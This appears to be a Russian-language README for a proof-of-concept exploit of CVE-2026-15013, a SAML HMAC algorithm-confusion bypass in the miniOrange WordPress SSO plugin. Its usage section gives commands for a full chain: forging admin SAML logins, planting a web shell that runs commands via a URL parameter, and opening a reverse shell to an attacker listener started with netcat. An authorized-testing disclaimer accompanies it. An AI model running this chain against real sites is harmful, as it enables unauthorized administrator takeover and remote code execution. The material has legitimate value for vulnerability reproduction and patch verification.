
Эксплойт для CVE-2026-15013: неаутентифицированный обход аутентификации SAML через путаницу алгоритмов. Подделывает ответы SAML для получения доступа администратора и развёртывания webshell/обратной оболочки. Для авторизованного тестирования.
PoC для CVE-2026-15013: неаутентифицированный обход аутентификации через путаницу алгоритмов подписи SAML (HMAC-SHA1) в WordPress-плагине miniOrange SAML Single Sign On – SSO Login (версии до 5.4.3 включительно).
Только авторизованное тестирование. Используйте этот код исключительно в системах, которыми вы владеете или на тестирование которых у вас есть явное разрешение. Несанкционированный доступ к компьютерным системам противозаконен.
| Роль | |
|---|---|
| Обнаруживший уязвимость | lhking (указан в записи CVE) |
| CVE / CNA | Wordfence |
| Данный репозиторий | Независимое лабораторное воспроизведение / автоматизация PoC (не исходное обнаружение) |
Запись CVE: https://www.cve.org/CVERecord?id=CVE-2026-15013
Mo_SAML_Utilities::mo_saml_cast_key() доверяет алгоритму SignatureMethod из управляемого атакующим SAMLResponse. Когда задан HMAC-SHA1, плагин переинтерпретирует открытый ключ RSA IdP как общий секрет HMAC и проверяет с его помощью подпись. Любой, кто может прочитать сертификат IdP (часто это публичные метаданные), может подделать действительное утверждение для любого существующего пользователя WordPress, включая администраторов.
Исправлено в 5.4.4+ (небезопасные алгоритмы / HMAC отклоняются).
9.8 КРИТИЧЕСКИЙ — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
openssl CLI (для преобразования сертификата в открытый ключ)Установка зависимостей:
pip install -r requirements.txt
Полная цепочка (энумерация, HMAC-вход, админ, веб-шелл):
python3 exploit.py -u https://TARGET.example
Опциональный reverse shell (сначала запустите слушатель: nc -lvnp 4444):
python3 exploit.py -u https://TARGET.example --lhost YOUR_IP --lport 4444
Только вход (без шелла):
python3 exploit.py -u https://TARGET.example --no-shell
Ручное переопределение параметров:
python3 exploit.py -u https://TARGET.example \
--issuer https://idp.example/realms/xxx \
--nameid admin \
-k ./idp-pubkey.pem
exp/shell.php?c=id)--lhostЭтот проект предназначен только для образовательных целей и авторизованных исследований в области безопасности. Авторы и участники не несут ответственности за неправомерное использование. Всегда получайте письменное разрешение перед тестированием сторонних систем. Исходная уязвимость была раскрыта в рамках ответственного раскрытия (responsible disclosure); данный репозиторий лишь демонстрирует воспроизведение для обучения и защитной проверки.
Для исследовательского использования. Без гарантий.
| Флаг | Описание |
|---|
-u, --url | Базовый URL WordPress (обязательно) |
-k, --hmac-key | PEM-файл открытого ключа или сертификата; если пусто — получить из метаданных IdP |
--issuer | Переопределить издателя (issuer) IdP |
--acs | Переопределить ACS URL |
--nameid | Принудительно задать одно имя пользователя WordPress |
--lhost / --lport | Обратный вызов reverse shell (порт по умолчанию 4444) |
--no-shell | Остановиться после сессии администратора |
--no-reverse | Загрузить шелл, но не запускать reverse-подключение |